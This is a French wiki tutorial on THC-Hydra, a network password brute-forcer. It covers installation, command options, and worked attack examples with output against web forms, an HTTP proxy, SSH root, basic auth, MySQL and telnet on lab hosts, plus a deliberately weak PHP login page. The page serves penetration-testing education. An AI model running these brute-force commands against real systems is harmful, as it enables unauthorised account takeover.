Thc-hydra-fr

From aldeid
Jump to navigation Jump to search
This article is also available in one or more other languages
To view this article in English, click here

THC-Hydra

Description

THC Hydra est un crackeur de mot de passe réseau supportant les protocoles suivants : TELNET, FTP, HTTP-GET, HTTP-HEAD, HTTPS-GET, HTTP-HEAD, HTTP-PROXY, HTTP-PROXY-NTLM, HTTP-FORM-GET HTTP-FORM-POST, HTTPS-FORM-GET, HTTPS-FORM-POSTLDAP2, LADP3, SMB, SMBNT, MS-SQL, MYSQL, POSTGRES, POP3-NTLM, IMAP, IMAP-NTLM, NNTP, PCNFS, ICQ, SAP/R3, Cisco auth, Cisco enable, SMTP-AUTH, SMTP-AUTH-NTLM, SSH2, SNMP, CVS, Cisco AAA, REXEC, SOCKS5, VNC, POP3, VMware-Auth, NCP, Firebird.

Pré-requis

Installation de libssh

sudo apt-get update && sudo apt-get install cmake
cd /data/src/
wget http://www.libssh.org/files/libssh-0.4.6.tar.gz
tar xzvf libssh-0.4.6.tar.gz
cd libssh-0.4.6/
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug ..
make
sudo make install

Installation de sapr3

L'installation de ce composant est optionnelle et n'est pas présentée ici.

Elle permet de compiler hydra pour être capable de cracker des mots de passe SAP. Pour plus de renseignements, consultez le site officiel : http://www.sap.com/solutions/netweaver/linux/eval/index.asp

libpq

# apt-get install libpq-dev

Téléchargement et installation

Téléchargement d'Hydra :

$ cd /usr/local/src/
$ wget http://freeworld.thc.org/releases/hydra-5.7-src.tar.gz

Décompression de l'archive :

$ tar xzvf hydra-5.7-src.tar.gz
$ cd hydra-5.7-src/

Compilation et installation :

$ ./configure
$ make
$ sudo make install

Utilisation

Ligne de commandes

Syntaxe de base

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]

Options

-R
     Permet de restaurer une session précédente (utile en cas de crash ou interruption)

-S
     connexion via SSL

-s <PORT>
     Permet de spécifier le port

-l <LOGIN> ou -L <FILE>
     Spécifie un login fixe (-l) ou un fichier de logins (-L)

-p <PASS>  ou -P <FILE>
     Spécifie un mot de passe fixe (-p) ou un fichier de mots de passe (-P)

-e ns
     Contrôles additionnels ("n" pour les mots de passe vides, "s" pour un identifiant vide)

-C <FILE>
     Utilisation alternative à -L/-P. Syntaxe : "login:pass"

-M <FILE>
     Permet de spécifier une liste de serveurs cibles pour paralléliser une attaque (une ligne par serveur)

-o <FILE>
     Exporte les couples login/mot de passe valides dans un fichier plutôt que sur la sortie standard (stdout)

-f
     Stoppe le programme dès l'obtention d'un couple valide (si -M est utilisé, un couple par serveur)

-t <TASKS>
     Nombre d'attaques parallèles (par défaut 16)

-w 
     Attente maximum (en sec) de la réponse serveur (par défaut : 30 secondes)

-v / -V
     Mode verbeux / Affichage systématique de la combinaison login/mot de passe

server
     Nom du serveur (mode exclusif avec l'option -M)

service
     Service cible
       - cisco                   - pop3[-ntlm]
       - cisco-enable            - postgres
       - cvs                     - rexec
       - ftp                     - rlogin
       - http-{get|post}-form    - rsh
       - http-proxy              - sapr3 (requiert la compilation d'hydra avec l'option sapr3)
       - http[s]-{head|get}      - sip
       - icq                     - smb
       - imap[-ntlm]             - smbnt
       - ldap2                   - smtp-auth[-ntlm]
       - ldap3                   - snmp
       - mssql                   - socks5
       - mysql                   - ssh2 (requiert la compilation d'hydra avec l'option libssh)
       - nntp                    - svn
       - oracle-listener         - teamspeak
       - pcanywhere              - telnet
       - pcnfs                   - vmauthd
                                 - vnc

OPT
      Options spécifiques à certains modules (voir fichier README)

Utilisation d'un proxy

Pour utiliser hydra à travers un proxy, paramétrez les variables d'environnement suivantes :

  • HYDRA_PROXY_HTTP/HYDRA_PROXY_CONNECT
  • HYDRA_PROXY_AUTH

GUI

Exemples d'utilisation

http-post-form

Soit le code suivant :

<?php
if(isset($_POST["usr"]) && isset($_POST["pwd"])) {
  if($_POST["usr"]=="admin" && $_POST["pwd"]=="password") {
    header("Location: http://www.google.com");
  } else {
    echo("Incorrect login or password");
  }
}
?>
<html>
  <body>
    <form action="test.php" method="post">
      <input type="text" name="usr" />
      <input type="password" name="pwd" />
      <input type="submit" name="login" value="Connect" />
    </form>
  </body>
</html>

Si le couple login/mot de passe est différent de admin/password, le message suivant est affiché :

Dans le cas contraire, une redirection vers Google est effectuée.

Outre le fait que ce code est bien évidemment vulnérable à une faille d'injection SQL (les données ne sont pas purifiées), il est possible de mener une attaque par brute force, en utilisant la commande suivante :

$ hydra -l admin -P all.lst -s 80 -f localhost http-post-form \ 
"/admin/test.php:usr=^USER^&pwd=^PASS^&login=Connect:Incorrect"
Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2010-02-28 19:54:27
[DATA] 12 tasks, 1 servers, 12 login tries (l:1/p:12), ~1 tries per task
[DATA] attacking service http-post-form on port 80
[STATUS] attack finished for localhost (waiting for childs to finish)
[80][www-form] host: 127.0.0.1   login: admin   password: password
Hydra (http://www.thc.org) finished at 2010-02-28 19:54:27

http-get-form

Soit le code suivant :

<?php
if(isset($_GET["usr"]) && isset($_GET["pwd"])) {
  if($_GET["usr"]=="admin" && $_GET["pwd"]=="password") {
    header("Location: http://www.google.com");
  } else {
    echo("Incorrect login or password");
  }
}
?>
<html>
  <body>
    <form action="test.php" method="get">
      <input type="text" name="usr" />
      <input type="password" name="pwd" />
      <input type="submit" name="login" value="Connect" />
    </form>
  </body>
</html>

Si le couple login/mot de passe est différent de admin/password, le message suivant est affiché :

Dans le cas contraire, une redirection vers Google est effectuée.

Outre le fait que ce code est bien évidemment vulnérable à une faille d'injection SQL (les données ne sont pas purifiées), il est possible de mener une attaque par brute force, en utilisant la commande suivante :

$ hydra -l admin -P all.lst -s 80 -f localhost http-get-form \ 
"/admin/test.php:usr=^USER^&pwd=^PASS^&login=Connect:Incorrect"
Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2010-02-28 19:54:27
[DATA] 12 tasks, 1 servers, 12 login tries (l:1/p:12), ~1 tries per task
[DATA] attacking service http-post-form on port 80
[STATUS] attack finished for localhost (waiting for childs to finish)
[80][www-form] host: 127.0.0.1   login: admin   password: password
Hydra (http://www.thc.org) finished at 2010-02-28 19:54:27

http-proxy

La commande suivante permet de bruteforcer le mot de passe associé au compte de crack.me pour accéder au proxy (192.168.1.1) sur le port 3128.

$ hydra -l crack.me -P all.lst -s 3128 -f 192.168.1.1 http-proxy
Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2010-02-28 20:04:55
[DATA] 15 tasks, 1 servers, 15 login tries (l:1/p:15), ~1 tries per task
[DATA] attacking service http-proxy on port 3128
[STATUS] attack finished for 192.168.1.1 (waiting for childs to finish)
[3128][http-proxy] host: 192.168.1.1   login: crack.me   password: sap1nV4
Hydra (http://www.thc.org) finished at 2010-02-28 20:04:55

ssh2

La commande suivante permet de bruteforcer le mot de passse root pour le service SSH.

$ hydra -l root -P test -s 22 -f 192.168.1.1 ssh2
Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2010-02-28 21:44:47
[DATA] 16 tasks, 1 servers, 16 login tries (l:1/p:16), ~1 tries per task
[DATA] attacking service ssh2 on port 22
[STATUS] attack finished for 192.168.1.1 (waiting for childs to finish)
select: Bad file descriptor
[22][ssh2] host: 192.168.1.1   login: root   password: B1zar3
Hydra (http://www.thc.org) finished at 2010-02-28 21:44:55

http-get

Une partie d'un site Web est protégée par un fichier .htaccess dont le contenu est le suivant :

SetEnvIfNoCase Request_URI \.ht(access|passwd)$ ban
<Files ~ "^.*$">
order allow,deny
allow from all
deny from env=ban
</Files>
Authname "Authentification"
AuthUserFile /home/apache/pass/.htpasswd
AuthGroupFile /dev/null
AuthType Basic
require valid-user

Il est possible de bruteforcer une telle authentification par la commande suivante :

$ hydra -l i.know.your.login -P all.lst -s 80 -f www.target.com -m /admin http-get
Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2010-03-01 06:23:04
[DATA] 16 tasks, 1 servers, 16 login tries (l:1/p:16), ~1 tries per task
[DATA] attacking service http-get on port 80
[STATUS] attack finished for localhost (waiting for childs to finish)
[80][www] host: www.target.com   login: i.know.your.login   password: S4p1Nv3rt
[80][www] host: www.target.com   login: i.know.your.login   password: S4p1Nv3rt&123
Hydra (http://www.thc.org) finished at 2010-03-01 06:23:04
Note
Remarquez que deux mots de passe de longueurs différentes mais au début identiques sont remontés par le programme. Ils correspondent tous les deux à des combinaisons gagnantes. Cela est dû au fait que les longueurs de mots de passe pris en charge par les authentification par fichier .htaccess sont limitées. Ainsi, si cette limitation est atteinte, tout dépassement est ignoré.

mysql

Warning
Seules les versions 3.23.x et 4.0.x de MySQL sont supportées par hydra. Pour d'autres versions, utilisez plutôt mysqlbrute.py.
$ hydra -l root -P all.lst -s 3306 -f 192.168.1.1 mysql

telnet

Exemple de bruteforce d'un mot de passe sur le service telnet d'un switch administrable :

$ hydra -l admin -P all.lst -s 23 -f 192.168.1.32 telnet
Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2010-03-02 05:26:53
[DATA] 16 tasks, 1 servers, 96 login tries (l:1/p:16), ~6 tries per task
[DATA] attacking service telnet on port 23
[23][telnet] host: 192.168.1.32   login: admin   password: H1b0U2l4NU17
[STATUS] attack finished for 192.168.1.23 (valid pair found)
Hydra (http://www.thc.org) finished at 2010-03-02 05:27:16